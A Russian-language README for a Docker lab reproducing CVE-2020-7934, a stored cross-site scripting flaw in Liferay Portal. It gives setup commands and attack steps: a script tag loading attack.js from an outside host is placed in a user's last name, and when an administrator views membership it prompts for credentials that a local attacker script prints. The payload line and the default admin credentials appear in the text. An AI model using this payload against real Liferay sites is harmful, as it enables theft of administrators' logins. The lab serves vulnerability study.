CVE 2020-7934

Как запустить CVE

Требования

1. docker

Замечания

можно разместить скрипт атаки онлайн (учитывая js код) http://yourjavascript.com/ Наш JS скрипт онлайн для атаки html <script src="http://yourjavascript.com/920172199111/attack.js"></script>

Команды для настройки

1. перейдите в корневую папку этого проекта
2. выполните "sudo docker-compose up --build"
3. новый терминал: выполните "docker inspect liferay" ==> и скопируйте значение IPAddress
4. новый терминал: выполните "python api_attacker.py"
5. откройте браузер и перейдите по адресу "http://IPAddress:8080" ==> вы должны получить портал liferay в качестве ответа
6. для остановки и удаления контейнеров используйте "sudo docker-compose rm"

Инструкции для атаки

1. Зарегистрируйтесь в liferay как пользователь, войдите в систему и в разделе "available sites" присоединитесь к сайту "liferay".
2. Измените "фамилию" на JS-скрипт (напрямую () или через "src =" http ... "")
3. Войдите как администратор liferay (имя пользователя: [email protected], пароль: test)
4. Перейдите в доступные сайты и нажмите на "liferay", откроется публичная страница этого сайта.
5. Перейдите на новую страницу, справа откроется меню, нажмите на mermbership.
6. Выберите пользователя, зарегистрированного на шаге 1. В этот момент будет выполнен скрипт. 5.1) В скрипте attack.js страница запросит учетные данные.
7. В терминале шага 5 (из раздела Команды для настройки) будут выведены имя пользователя/пароль, введенные на шаге 5.1 (администратором) )